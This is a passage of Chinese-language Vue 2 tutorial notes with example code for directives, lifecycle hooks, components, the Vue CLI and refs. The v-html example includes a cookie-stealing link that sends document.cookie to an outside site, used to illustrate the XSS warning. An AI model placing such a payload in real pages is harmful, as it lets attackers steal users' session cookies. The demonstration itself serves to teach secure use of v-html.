			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊！</h3>'
			}
		})
	</script>
</html>

v-html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				v-html指令：
						1.作用：向指定节点中渲染包含html结构的内容。
						2.与插值语法的区别：
									(1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
									(2).v-html可以识别html结构。
						3.严重注意：v-html有安全性问题！！！！
									(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
									(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好，{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊！</h3>',  // document.cookie可以获取当前网页中所有httponly没有勾选的cookie
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点</a>',
			}
		})
	</script>
</html>

v-cloak

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{ /*属性选择器：选择所有含有v-cloak属性的html标签*/
				display:none;
			}
		</style>
		<!-- 引入Vue -->
	</head>
	<body>
		<!-- 
				v-cloak指令（没有值）：
						1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
						2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>
</html>

v-once

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			v-once指令：
                1.v-once所在节点在初次动态渲染后，就视为静态内容了。
                2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

v-pre

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			v-pre指令：
					1.跳过其所在节点的编译过程。
					2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

16. 自定义指令

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>自定义指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
	<!-- 
		需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
		需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。
		自定义指令总结：
				一、定义语法：
                    (1).局部指令：
                        new Vue({									
                            directives:{指令名:配置对象}     	
                        }) 	
                        或 			
                        new Vue({
                            directives{指令名:回调函数}
                        })							
                    (2).全局指令：
                        Vue.directive(指令名,配置对象) 
                        或   
                        Vue.directive(指令名,回调函数)

				二、配置对象中常用的3个回调：
                    (1).bind：指令与元素成功绑定时调用。
                    (2).inserted：指令所在元素被插入页面时调用。
                    (3).update：指令所在模板结构被重新解析时调用。

				三、备注：
                    1.指令定义时不加v-，但使用时要加v-；
                    2.指令名如果是多个单词，要使用kebab-case命名(短横杠)方式，不要用camelCase(驼峰)命名。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
            
			<h2>{{name}}</h2>
            
			<h2>当前的n值是：<span v-text="n"></span> </h2>
            
			<!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> -->
			<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
            
			<button @click="n++">点我n+1</button>
			<hr/>
            
			<input type="text" v-fbind:value="n">
		</div>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false

		//定义全局指令
		/* Vue.directive('fbind',{
			//指令与元素成功绑定时（一上来）
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		}) */

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',  // 只要data中的数据被修改都会重新解析模板
				n:1
			},
			directives:{
                
				//big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
                
				/* 'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, */
                
				big(element,binding){
                    console.dir(element) // 就是span这个真实dom
                    console.log(binding) // 绑定对象，从里面可以拿到表达式，指令名称等信息
					console.log('big',this) //注意此处的this是window
					element.innerText = binding.value * 10
                    element.focus(); // 在这里执行focus在初始化(也就是第一次)是没有效果的,因为初始化时,
                                     // 处理的模板还没渲染到页面,而初始化后,重新解析模板,element已经渲染到页面了
                                     // 后面执行focus()方法就能让element获取焦点了
				},
                
				fbind:{
					//指令与元素成功绑定时（一上来）
					bind(element,binding){
						element.value = binding.value
					},
					//指令所在元素被插入页面时
					inserted(element,binding){
						element.focus()
					},
					//指令所在的模板被重新解析时
					update(element,binding){
						element.value = binding.value
					}
				}
			}
		})
		
	</script>
</html>

17. 生命周期

引出生命周期

<html>
	<head>
		<meta charset="UTF-8" />
		<title>引出生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				生命周期：
						1.又名：生命周期回调函数、生命周期函数、生命周期钩子。
						2.是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数。
						3.生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。
						4.生命周期函数中的this指向是vm 或 组件实例对象。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-if="a">你好啊</h2>
			<h2 :style="{opacity}">欢迎学习Vue</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		 new Vue({
			el:'#root',
			data:{
				a:false,
				opacity:1
			},
			methods: {
				
			},
			//Vue完成模板的解析并把初始(即:第一次解析模板)的真实DOM元素放入页面后（挂载完毕）调用mounted
			mounted(){
				console.log('mounted',this)
				setInterval(() => {
					this.opacity -= 0.01
					if(this.opacity <= 0) this.opacity = 1
				},16)
			},
		})

		//通过外部的定时器实现（不推荐）
		/* setInterval(() => {
			vm.opacity -= 0.01  // 这里别忘了数据代理哦
			if(vm.opacity <= 0) vm.opacity = 1
		},16) */
	</script>
</html>

分析生命周期(图)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nZY8r8sB-1678282228352)(assets/生命周期-1642942068570.png)]

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>分析生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root" :x="n">
			<h2 v-text="n"></h2>
			<h2>当前的n值是：{{n}}</h2>
			<button @click="add">点我n+1</button>
			<button @click="bye">点我销毁vm</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			/*template:` // 这样写会把#root这个dom完全替换掉（也就是说有配置template，优先用template，
			             //                               没有则使用el选择的容器）
			 	<div>
			 		<h2>当前的n值是：{{n}}</h2>
			 		<button @click="add">点我n+1</button>
			 	</div>
			 `,
			 */
			data:{
				n:1
			},
			methods: {
				add(){
					console.log('add')
					this.n++
				},
				bye(){
					console.log('bye')
					this.$destroy() // 销毁vue实例
				}
			},
			watch:{
				n(){
					console.log('n变了')
				}
			},
            /* 生命周期函数中的this都是vm */
			beforeCreate() {
				console.log('beforeCreate')
                debugger
			},
			created() {
				console.log('created')
			},
			beforeMount() {
				console.log('beforeMount')
			},
			mounted() {
				console.log('mounted')
                console.log(this.$el)
			},
			beforeUpdate() {
				console.log('beforeUpdate')
			},
			updated() {
				console.log('updated')
			},
            // 不管是自己主动调用this.$destroy()销毁，还是因为其它方式销毁，beforeDestroy()总会回调
			beforeDestroy() { // 到了这一步，对数据修改，不会再触发对页面的更新了
				console.log('beforeDestroy')
			},
			destroyed() {
				console.log('destroyed')
			},
		})
	</script>
</html>

总结生命周期

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>引出生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				常用的生命周期钩子：
						1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
						2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

				关于销毁Vue实例
						1.销毁后借助Vue开发者工具看不到任何信息。
						2.销毁后自定义事件会失效，但原生DOM事件依然有效。
						3.一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 :style="{opacity}">欢迎学习Vue</h2>
			<button @click="opacity = 1">透明度设置为1</button>
			<button @click="stop">点我停止变换</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		 new Vue({
			el:'#root',
			data:{
				opacity:1
			},
			methods: {
				stop(){
					this.$destroy()
				}
			},
			//Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted
			mounted(){
				console.log('mounted',this)
				this.timer = setInterval(() => {
					console.log('setInterval')
					this.opacity -= 0.01
					if(this.opacity <= 0) this.opacity = 1
				},16)
			},
			beforeDestroy() {
				clearInterval(this.timer)
				console.log('vm即将驾鹤西游了')
			},
		})

	</script>
</html>

18. 非单文件组件

组件的概念

在这里插入图片描述

模块

  1. 理解: 向外提供特定功能的 js 程序, 一般就是一个 js 文件
  2. 为什么: js 文件很多很复杂
  3. 作用: 复用 js, 简化 js 的编写, 提高 js 运行效率

组件

  1. 理解: 用来实现局部(特定)功能效果的代码集合(html/css/js/image……)

  2. 为什么: 一个界面的功能很复杂

  3. 作用: 复用编码, 简化项目编码, 提高运行效率

模块化

​ 当应用中的 js 都以模块来编写的, 那这个应用就是一个模块化的应用。

组件化

​ 当应用中的功能都是多组件的方式来编写的, 那这个应用就是一个组件化的应用,。

非单文件组件

一个文件中包含有n个组件（如：a.html文件）

基本使用

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>基本使用</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
		Vue中使用组件的三大步骤：
            一、定义组件(创建组件)
            二、注册组件
            三、使用组件(写组件标签)

		一、如何定义一个组件？
			使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别；
				区别如下：
						1.el不要写，为什么？ ——— 最终所有的组件都要经过一个vm的管理，由vm中的el决定服务哪个容器。
						2.data必须写成函数，为什么？ ———— 避免组件被复用时，数据存在引用关系。
				备注：使用template选项可以配置组件结构。

		二、如何注册组件？
            1.局部注册：靠new Vue的时候传入components选项
            2.全局注册：靠Vue.component('组件名',组件)

		三、编写组件标签：
			<school></school>
	-->
		<!-- 准备好一个容器-->
		<div id="root">
			<hello></hello>
			<hr>
			<h1>{{msg}}</h1>
			<hr>
			<!-- 第三步：编写组件标签 -->
			<school></school>
			<hr>
			<!-- 第三步：编写组件标签 -->
			<student></student>
		</div>

		<div id="root2">
			<hello></hello>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		//第一步：创建school组件
		const school = Vue.extend({
			template:`
				<div class="demo">
					<h2>学校名称：{{schoolName}}</h2>
					<h2>学校地址：{{address}}</h2>
					<button @click="showName">点我提示学校名</button>	
				</div>
			`,            // （创建Vue实例时，是没有这2个限制的哦）
			// el:'#root',// 组件定义时，一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
			data(){       // 组件定义时，data配置必须写成函数的形式，否则会报错,这样每次调用data()都会返回全新的对象
				return {  //         （是为了避免使用同一个组件，当修改值时而也改到了其它组件，所以vue干脆就禁止了）
					schoolName:'尚硅谷',
					address:'北京昌平'
				}
			},
			methods: {
				showName(){
					alert(this.schoolName)
				}
			},
		})

		//第一步：创建student组件
		const student = Vue.extend({
			template:`
				<div>
					<h2>学生姓名：{{studentName}}</h2>
					<h2>学生年龄：{{age}}</h2>
				</div>
			`,
			data(){
				return {
					studentName:'张三',
					age:18
				}
			}
		})
		
		//第一步：创建hello组件
		const hello = Vue.extend({
			template:`
				<div>	
					<h2>你好啊！{{name}}</h2>
				</div>
			`,
			data(){
				return {
					name:'Tom'
				}
			}
		})
		
		//第二步：全局注册组件(所有的Vue实例中都可以使用)
		Vue.component('hello',hello)

		//创建vm
		new Vue({
			el:'#root',
			data:{
				msg:'你好啊！'
			},
			//第二步：注册组件（局部注册，只能在当前Vue实例中使用）
			components:{
				school,
				student
			}
		})

		new Vue({
			el:'#root2',
		})
	</script>
</html>

几个注意点

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>几个注意点</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
	<!-- 
		几个注意点：
				1.关于组件名:
					一个单词组成：
								第一种写法(首字母小写)：school
								第二种写法(首字母大写)：School
					多个单词组成：
								第一种写法(kebab-case命名)：my-school
								第二种写法(CamelCase命名)：MySchool (需要Vue脚手架支持)
					备注：
							(1).组件名尽可能回避HTML中已有的元素名称，例如：h2、H2都不行。
							(2).可以使用name配置项指定组件在开发者工具中呈现的名字。

				2.关于组件标签:
					第一种写法：<school></school>
					第二种写法：<school/>
					备注：不用使用脚手架时，<school/>会导致后续组件不能渲染。

				3.一个简写方式：
					const school = Vue.extend(options) 可简写为：const school = options
	-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>{{msg}}</h1>
			<school></school>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		//定义组件
		const s = Vue.extend({  // 其实这里也可以不用写Vue.extend({..}),直接就{..},Vue底层做了判断
			name:'atguigu',
			template:`
				<div>
					<h2>学校名称：{{name}}</h2>	
					<h2>学校地址：{{address}}</h2>	
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			}
		})

		new Vue({
			el:'#root',
			data:{
				msg:'欢迎学习Vue!'
			},
			components:{
				school:s
			}
		})
	</script>
</html>

组件的嵌套

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3b0pbrSa-1678282228354)(assets/image-20220124000123444.png)]

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>组件的嵌套</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		//定义student组件
		const student = Vue.extend({
			name:'student',
			template:`
				<div>
					<h2>学生姓名：{{name}}</h2>	
					<h2>学生年龄：{{age}}</h2>	
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					age:18
				}
			}
		})
		
		//定义school组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称：{{name}}</h2>	
					<h2>学校地址：{{address}}</h2>	
					<student></student>
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			},
			//注册组件（局部，组件注册给谁，才能在谁的里面写该组件）
			components:{
				student
			}
		})

		//定义hello组件
		const hello = Vue.extend({
			template:`<h1>{{msg}}</h1>`,
			data(){
				return {
					msg:'欢迎来到尚硅谷学习！'
				}
			}
		})
		
		//定义app组件
		const app = Vue.extend({
			template:`
				<div>	
					<hello></hello>
					<school></school>
				</div>
			`,
			components:{
				school,
				hello
			}
		})

		//创建vm
		new Vue({
			template:'<app></app>', // 将template直接替换掉<div id="root"></div>
			el:'#root',
			//注册组件（局部）
			components:{app}
		})
	</script>
</html>

VueComponent

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7dSaoGUX-1678282228354)(assets/image-20220124204001164.png)]

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>VueComponent</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
<!-- 
	关于VueComponent：
		1.school组件本质是一个名为VueComponent的构造函数，且不是程序员定义的，是Vue.extend生成的。

		2.我们只需要写<school/>或<school></school>，Vue解析时会帮我们创建school组件的实例对象，
			即Vue帮我们执行的：new VueComponent(options)。

		3.特别注意：每次调用Vue.extend，返回的都是一个全新的VueComponent！！！！

		4.关于this指向：
			(1).组件配置中：data函数、methods中的函数、watch中的函数、computed中的函数 
                          它们的this均【VueComponent实例对象】。

			(2).new Vue(options)配置中：data函数、methods中的函数、watch中的函数、computed中的函数 
                          它们的this均是【Vue实例对象】。

		5.VueComponent的实例对象，以后简称vc（也可称之为：组件实例对象）。
		  Vue的实例对象，以后简称vm。
          注意：因为组件是可复用的 Vue 实例，所以它们与 new Vue 接收相同的选项，
               例如 data、computed、watch、methods 以及生命周期钩子等。
               仅有的例外是像 el 这样根实例特有的选项。
-->
		<!-- 准备好一个容器-->
		<div id="root">
			<school></school>
			<hello></hello>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		//定义school组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称：{{name}}</h2>	
					<h2>学校地址：{{address}}</h2>	
					<button @click="showName">点我提示学校名</button>
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			},
			methods: {
				showName(){
					console.log('showName',this)
				}
			},
		})

		const test = Vue.extend({
			template:`<span>atguigu</span>`
		})

		//定义hello组件
		const hello = Vue.extend({
			template:`
				<div>
					<h2>{{msg}}</h2>
					<test></test>	
				</div>
			`,
			data(){
				return {
					msg:'你好啊！'
				}
			},
			components:{test}
		})

		
		console.log('@',school)
        /* 输出:
        	@ ƒ VueComponent (options) {
                this._init(options);
              }
        */
        
		console.log('#',hello)
        /* 输出:
        	# ƒ VueComponent (options) {
                this._init(options);
              }
        */
        
        console.log(school === hello) // false
        
		//创建vm
		const vm = new Vue({
			el:'#root',
			components:{school,hello}
		})
	</script>
</html>

一个重要的内置关系

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>一个重要的内置关系</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				1.一个重要的内置关系：VueComponent.prototype.__proto__ === Vue.prototype
				2.为什么要有这个关系：让组件实例对象（vc）可以访问到 Vue原型上的属性、方法。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<school></school>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		Vue.prototype.x = 99

		//定义school组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称：{{name}}</h2>	
					<h2>学校地址：{{address}}</h2>	
					<button @click="showX">点我输出x</button>
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			},
			methods: {
				showX(){
					console.log(this.x)
				}
			},
		})

		//创建一个vm
		const vm = new Vue({
			el:'#root',
			data:{
				msg:'你好'
			},
			components:{school}
		})
        
        console.log(school.prototype.__proto__ === Vue.prototype) // true
        console.dir(school)
        console.dir(Vue)

		
		/* 
		//定义一个构造函数
		function Demo(){
			this.a = 1
			this.b = 2
		}
		//创建一个Demo的实例对象
		const d = new Demo()

		console.log(Demo.prototype) //显示原型属性（函数身上都有显示原型属性指向一个原型对象）

		console.log(d.__proto__)    //隐式原型属性

		// 构造函数的显示原型属性和使用该构造函数new出来的实例的隐式原型属性都指向同一个原型对象
		// 当使用该构造函数new出来的实例访问属性或调用方法时，如果自身找不到，则会顺着隐式原型链到原型对象中去找
		// 有一句话：实例的隐式原型属性永远指向自己缔造者(即构造函数)的原型对象
		console.log(Demo.prototype === d.__proto__) // true

		//程序员通过显示原型属性操作原型对象，追加一个x属性，值为99
		Demo.prototype.x = 99
		console.log('@',d) 
		*/

	</script>
</html>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3GVDJTDp-1678282228355)(assets/image-20220124224227731.png)]

19. 单文件组件

一个文件中只包含1个组件（如：a.vue文件）

school.vue

<template>
	<div class="demo">
		<h2>学校名称：{{name}}</h2>
		<h2>学校地址：{{address}}</h2>
		<button @click="showName">点我提示学校名</button>	
	</div>
</template>

<script>
	 export default {   // 这里其实省略了Vue.extend(), 相当于是暴露了VueComponent函数(每次调用都是不同的函数)
		name:'School',
		data(){
			return {
				name:'尚硅谷',
				address:'北京昌平'
			}
		},
		methods: {
			showName(){
				alert(this.name)
			}
		},
	}
</script>

<style>
	.demo{
		background-color: orange;
	}
</style>

student.vue

<template>
	<div>
		<h2>学生姓名：{{name}}</h2>
		<h2>学生年龄：{{age}}</h2>
	</div>
</template>

<script>
	 export default {
		name:'Student',
		data(){
			return {
				name:'张三',
				age:18
			}
		}
	}
</script>

App.vue

<template>
	<div>
		<School></School> <!-- 在脚手架里可以使用<school/>能正常识别 -->
		<Student></Student>
	</div>
</template>

<script>
	//引入组件
    // 终于明白了,school.vue里面其实就相当于导出了一个VueComponent函数,这里将这个函数导入,然后注册到自己里面,这个步骤
    // 现在跟非单文件组件里面就是一样的了。注册完后，就可以写它了
	import School from './School.vue'  // 在脚手架里可以省略.vue后缀
	import Student from './Student.vue'

	export default {
		name:'App',
		components:{
			School,
			Student
		}
	}
</script>

main.js

import App from './App.vue'

new Vue({
	el:'#root',
	template:`<App></App>`,  // 如果配置了template，则会解析模板并且使用解析的结果，将#root指向的容器给替换掉；
                             // 如果没有配置，则会解析#root容器中的内容作为模板来解析并渲染出来到页面
	components:{App},
})

index.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>练习一下单文件组件的语法</title>
	</head>
	<body>
		<!-- 准备一个容器 -->
		<div id="root"></div>
		<!-- <script type="text/javascript" src="../js/vue.js"></script> -->
		<!-- <script type="text/javascript" src="./main.js"></script> --> <!--浏览器不能直接识别es6语法-->
	</body>
</html>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dGeH6pPo-1678282228355)(assets/image-20220125000849603.png)]

======================================================================

1. 初始化脚手架

说明

  1. Vue 脚手架是 Vue 官方提供的标准化开发工具（开发平台）。
  2. 最新的版本是 4.x。
  3. 文档: https://cli.vuejs.org/zh/。

具体步骤

第一步（仅第一次执行）：全局安装@vue/cli。

npm install -g @vue/cli

第二步：切换到你要创建项目的目录，然后使用命令创建项目

vue create 项目名

第三步：启动项目

npm run serve

备注：

  1. 如出现下载缓慢请配置 npm 淘宝镜像：npm config set registry https://registry.npm.taobao.org

  2. Vue 脚手架隐藏了所有 webpack 相关的配置，若想查看具体的 webpakc 配置，请执行：vue inspect > output.js ,可以在该文件中看到所有的配置。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0vK3vBNM-1678282228356)(assets/image-20220125200752134.png)]

2. 分析脚手架&render函数

文件结构图示及说明

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z063kRRE-1678282228357)(assets/image-20220125213650163.png)]

├── node_modules 
├── public
│   ├── favicon.ico: 页签图标
│   └── index.html: 主页面
├── src
│   ├── assets: 存放静态资源
│   │   └── logo.png
│   │── component: 存放组件
│   │   └── HelloWorld.vue
│   │── App.vue: 汇总所有组件
│   │── main.js: 入口文件
├── .gitignore: git版本管制忽略的配置
├── babel.config.js: babel的配置文件
├── package.json: 应用包配置文件 
├── README.md: 应用描述文件
├── package-lock.json：包版本控制文件

main.js

/* 
	该文件是整个项目的入口文件(当执行npm run serve的时候,就会从当前目录下的src目录中找到main.js)
*/
//引入Vue（此处引入的vue是不带模板编译器的版本）
import Vue from 'vue'

//引入App组件，它是所有组件的父组件
import App from './App.vue'

//关闭vue的生产提示
Vue.config.productionTip = false

/* 
	关于不同版本的Vue：
	
		1.vue.js与vue.runtime.xxx.js的区别：
				(1).vue.js是完整版的Vue，包含：核心功能+模板解析器。
				(2).vue.runtime.xxx.js是运行版的Vue，只包含：核心功能；没有模板解析器。

		2.因为vue.runtime.xxx.js没有模板解析器，所以不能使用template配置项，需要使用
			render函数接收到的createElement函数去指定具体内容。
*/

//创建Vue实例对象---vm
new Vue({
	el:'#app', // 也可以使用vm.$mount('#app')
    
	//render函数完成了这个功能：将App组件放入容器中
  	render: h => h(App),
    
	// render:q=> q('h1','你好啊')
    
    /* 完整写法
       render(createElement){
       	  return createElement('h1','你好啊');
       }
    */

	// template:`<h1>你好啊</h1>`, // 因为引入的vue没有模板解析器版本的，所以不能使用template配置项
	// components:{App},
})

index.html

<!DOCTYPE html>
<html lang="">
  <head>
    <meta charset="utf-8">
		<!-- 针对IE浏览器的一个特殊配置，含义是让IE浏览器以最高的渲染级别渲染页面 -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
		<!-- 开启移动端的理想视口 -->
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
		<!-- 配置页签图标 -->
    <link rel="icon" href="<%= BASE_URL %>favicon.ico">  <!--如果要引入public下的资源使用该写法-->
		<!-- 引入第三方样式 -->
		<link rel="stylesheet" href="<%= BASE_URL %>css/bootstrap.css">
		<!-- 配置网页标题 -->
    <title>硅谷系统</title>
  </head>
  <body>
		<!-- 当浏览器不支持js时noscript中的元素就会被渲染 -->
    <noscript>
      <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> 
          doesn't work properly without JavaScript enabled. Please enable it to continue.
      </strong>
    </noscript>
        
		<!-- 容器 -->
    <div id="app"></div>
        
    <!-- built files will be auto injected -->
  </body>
</html>

App.vue

<template>
	<div>
		<img src="./assets/logo.png" alt="logo">
		<School></School>
		<Student></Student>
	</div>
</template>

<script>
	//引入组件
	import School from './components/School'
	import Student from './components/Student'

	export default {
		name:'App',
		components:{
			School,
			Student
		}
	}
</script>

School.vue

<template>
	<div class="demo">
		<h2>学校名称：{{name}}</h2>
		<h2>学校地址：{{address}}</h2>
		<button @click="showName">点我提示学校名</button>	
	</div>
</template>

<script>
	 export default {
		name:'School',
		data(){
			return {
				name:'尚硅谷',
				address:'北京昌平'
			}
		},
		methods: {
			showName(){
				alert(this.name)
			}
		},
	}
</script>

<style>
	.demo{
		background-color: orange;
	}
</style>

Student.vue

<template>
	<div>
		<h2>学生姓名：{{name}}</h2>
		<h2>学生年龄：{{age}}</h2>
	</div>
</template>

<script>
	 export default {
		name:'Student',
		data(){
			return {
				name:'张三',
				age:18
			}
		}
	}
</script>

关于不同版本的Vue

  1. vue.js与vue.runtime.xxx.js的区别：

    1. vue.js是完整版的Vue，包含：核心功能 + 模板解析器。
    2. vue.runtime.xxx.js是运行版的Vue，只包含：核心功能；没有模板解析器。

  2. 因为vue.runtime.xxx.js没有模板解析器，所以不能使用template这个配置项，需要使用render函数接收到的createElement函数去指定具体内容。

修改默认配置

vue.config.js配置文件

加载。

  1. 使用vue inspect > output.js可以将默认的webpack配置输出到output.js，来查看到Vue脚手架的默认配置。

  2. 在package.json同级目录下创建vue.config.js配置文件，可以对脚手架进行个性化定制，详情见：https://cli.vuejs.org/zh，点击配置参考

  3. vue.config.js 是一个可选的配置文件，如果项目的 (和 package.json 同级的) 根目录中存在这个文件，那么它会被 @vue/cli-service 自动加载。

    // 如：
module.exports = {
    pages: {
        index: {
            // page 的入口
            entry: 'src/main.js',
        }
    },
    lintOnSave:false, // 关闭保存时语法检查而报错
}

3. ref属性

  1. 被用来给元素或子组件注册引用信息（id的替代者）
  2. 应用在html标签上获取的是真实DOM元素，应用在组件标签上是组件实例对象（vc）
  3. 使用方式：
    1. 打标识：<h1 ref="xxx">.....</h1>或 <School ref="xxx"></School>
    2. 获取：this.$refs.xxx

App.vue

<template>
	<div>
		<h1 v-text="msg" ref="title"></h1>
		<button ref="btn" @click="showDOM">点我输出上方的DOM元素</button>
		<School ref="sch"/>
	</div>
</template>

<script>
	//引入School组件
	import School from './components/School'

	export default {
		name:'App',
		components:{School},
		data() {
			return {
				msg:'欢迎学习Vue！'
			}
		},
		methods: {
			showDOM(){
                
				console.log(this.$refs.title) //真实DOM元素
				console.log(this.$refs.btn)   //真实DOM元素
                
